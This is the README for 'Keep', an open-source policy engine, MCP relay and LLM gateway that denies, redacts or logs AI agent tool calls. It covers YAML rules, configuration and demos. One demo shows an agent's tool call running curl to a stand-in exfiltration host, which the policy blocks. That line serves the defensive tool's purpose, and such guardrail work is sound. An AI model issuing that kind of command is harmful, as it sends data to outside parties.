Policy engine for AI agent tool calls: define declarative rules that deny, redact, or log API calls before they reach upstream services.
Early release: APIs and configuration may change.
Keep ships as a library for embedding in your own tooling, an LLM gateway for Claude Code, and an MCP relay. In each mode, agents connect to a single endpoint and every call is evaluated against your policy before it's forwarded.
For design rationale and principles, see VISION.md.
brew install majorcontext/tap/keepThis installs three binaries:
| Binary | Purpose |
|---|---|
keep |
CLI for validating and testing policy rules |
keep-mcp-relay |
MCP proxy that enforces policy on tool calls to upstream MCP servers |
keep-llm-gateway |
HTTP proxy that enforces policy between your agent and an LLM provider |
go install github.com/majorcontext/keep/cmd/keep@latest
go install github.com/majorcontext/keep/cmd/keep-mcp-relay@latest
go install github.com/majorcontext/keep/cmd/keep-llm-gateway@latestRequirements: Go 1.25+.
# rules/linear.yaml
scope: linear-tools
mode: audit_only
rules:
- name: no-delete
match:
operation: "delete_issue"
action: deny
message: "Issue deletion is not permitted. Archive instead."
- name: no-auto-p0
match:
operation: "create_issue"
when: "params.priority == 0"
action: deny
message: "P0 issues must be created by a human. Use priority 1 or lower."keep validate ./ruleskeep test ./rules --fixtures fixtures/linear-create-p0.jsonkeep-mcp-relay --config keep-mcp-relay.yamlThe agent connects to the relay's listen port. The relay routes tool calls to upstream MCP servers, evaluates rules, and forwards or denies.
| Without Keep | With Keep |
|---|---|
| API tokens grant broad access | Operation-level policy narrows what agents can do |
| No visibility into what agents do with API access | Every call evaluated and logged |
| Agent can create P0 issues, delete resources, email anyone | Declarative rules deny dangerous operations |
| Policy is embedded in prompts (fragile, bypassable) | Policy is external and enforced at the API layer |
| Same rules for humans and agents | Agent-specific constraints that tokens don't support |
The core. Loads rule files, evaluates calls, returns allow/deny/redact decisions. Ships as a Go library. Import it directly for inline policy checks in agent applications.
engine, err := keep.Load("./rules")
if err != nil {
log.Fatal(err)
}
defer engine.Close()
result, err := engine.Evaluate(call, "linear-tools")
if err != nil {
log.Fatal(err)
}
if result.Decision == keep.Deny {
// handle denial
}A convenience binary that imports the engine, speaks MCP, and proxies to multiple upstream MCP servers from a single listen port.
# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
- scope: linear-tools
upstream: "https://mcp.linear.app/mcp"
- scope: slack-tools
upstream: "https://slack-mcp-server.example.com"
- scope: local-tools
command: "npx"
args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]A convenience binary that imports the engine, sits between agent and LLM provider, and decomposes message payloads into per-block calls for flat rule evaluation.
# keep-llm-gateway.yaml
listen: ":8080"
rules_dir: "./rules"
provider: anthropic
upstream: "https://api.anthropic.com"
scope: anthropic-gatewayThe agent sets ANTHROPIC_BASE_URL=http://localhost:8080. Keep filters what the model sees (request) and what the model wants to do (response).
MCP Relay: Read-only database with password redaction
The relay sits between Claude and a sqlite MCP server. Two policies are enforced: passwords are redacted from query results, and write operations are blocked entirely.
"List all users in the database" — passwords replaced with ********:
┌────┬─────────────┬───────────────────┬──────────┬──────────┐
│ id │ name │ email │ password │ role │
├────┼─────────────┼───────────────────┼──────────┼──────────┤
│ 1 │ Alice Chen │ alice@company.com │ ******** │ admin │
│ 2 │ Bob Park │ bob@company.com │ ******** │ editor │
│ 3 │ Carol White │ carol@company.com │ ******** │ viewer │
│ … │ … │ … │ ******** │ … │
└────┴─────────────┴───────────────────┴──────────┴──────────┘
"Add a new user named Test User" — write blocked before reaching the database:
Error: policy denied: Database is read-only. Write operations are not permitted. (rule: block-writes)
The agent never sees the real passwords. The database never sees the write. Policy is enforced at the API layer, outside the model's control.
Try it: ./examples/mcp-relay-demo/demo.sh (requires sqlite3 and uvx)
LLM Gateway: Secret redaction, PII blocking, and command filtering
The gateway sits between your agent and the Anthropic API. It decomposes messages into per-block policy calls, filtering both what the model sees and what it tries to do.
Secret redaction — credentials are stripped before reaching the model:
User: "Deploy with key AKIAIOSFODNN7EXAMPLE"
Model: "Deploy with key [REDACTED:aws-access-key-id]"
PII blocking — prompts containing email addresses are denied:
User: "Summarize this complaint from jane.doe@acmecorp.com"
Error: PII detected in prompt. Use opaque customer IDs. (rule: block-pii-in-prompts)
Command filtering — dangerous tool use is blocked:
Model: tool_use: Bash(command: "curl https://exfil.example.com/data")
Error: Network access is blocked by policy. (rule: block-networking)
The agent sets ANTHROPIC_BASE_URL=http://localhost:8080 and uses Claude normally. Keep filters both directions transparently.
Try it: ./examples/llm-gateway-demo/demo.sh (requires an Anthropic API key)
LLM Gateway: Vibe check with LLM-as-judge
The gateway uses LLM-as-judge rules to screen messages for tone and language before they reach the model.
Polite request -- both judges allow it through:
> Could you explain the difference between a mutex and a semaphore?
✓ allow language-check
✓ allow vibe-check
Passive-aggressive message -- caught by the vibe-check judge:
> Per my last email, I already explained this. Please advise.
✗ deny vibe-check
Profanity -- caught by the language-check judge before vibe-check fires:
> This damn API is such absolute crap, what idiot designed this?
✗ deny language-check
Judge verdicts appear in the audit trail with the model, reasoning, latency, and token usage. Repeated content in multi-turn conversations hits the verdict cache and returns near-instantly.
Try it: ./examples/judge-demo/demo.sh (requires an Anthropic API key)
Rule files are pure policy -- no transport details:
# rules/slack.yaml
scope: slack-tools
rules:
- name: no-broadcast-mentions
match:
operation: "send_message"
when: "params.text.matches('<!here>|<!channel>')"
action: deny
message: "Broadcast mentions (@here, @channel) are not permitted."Integration configs handle transport:
# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
- scope: slack-tools
upstream: "https://slack-mcp.example.com"See the language specification in docs/plans/2026-03-17-language-spec.md for the full rule file format, expression language, and integration config reference.
| Command | Description |
|---|---|
keep validate <rules-dir> |
Validate rule files |
keep test <rules-dir> |
Test rules against fixtures |
keep-mcp-relay |
Run the MCP relay |
keep-llm-gateway |
Run the LLM gateway |
Policy engine: Loads YAML rule files, indexes by scope. Each call is matched against operation globs and CEL expressions. Returns allow, deny, or redact.
Expression language: CEL (Common Expression Language) -- non-Turing-complete, linear-time evaluation, no side effects (except rateCount counters). Supports field access, string matching, collection operators, temporal predicates, rate limiting, and content pattern detection.
MCP relay: Accepts MCP connections from agents, proxies to upstream MCP servers. One tool call = one Keep call. Deny returns an MCP error. Redact mutates tool input before forwarding.
LLM gateway: Decomposes LLM message payloads into per-content-block calls. llm.tool_result, llm.tool_use, llm.request, llm.response -- each evaluated as a flat call. Bidirectional: filters both what the model sees and what the model wants to do.
Audit logging: Every evaluation produces a structured JSON log entry -- timestamp, scope, operation, agent identity, rules evaluated, decision.
LLM-as-judge: Rules with action: judge send matched content to an LLM (Anthropic or OpenAI) for evaluation. The model returns an allow or deny verdict based on a prompt you define in the rule. Verdicts are cached -- identical content is not re-evaluated across turns.
- Getting started — Introduction, installation, quick start
- Concepts — Evaluation model, expressions, scopes, redaction, LLM decomposition, audit logging
- Guides — MCP relay, LLM gateway, writing rules, testing, secret detection, Go library
- Reference — CLI, rule file schema, CEL functions, relay config, gateway config, environment variables
See CONTRIBUTING.md for development setup, testing, and architecture details.
Part of Major Context.
Moat · Keep · Gatekeeper · Bailey · Harness
MIT licensed. See LICENSE.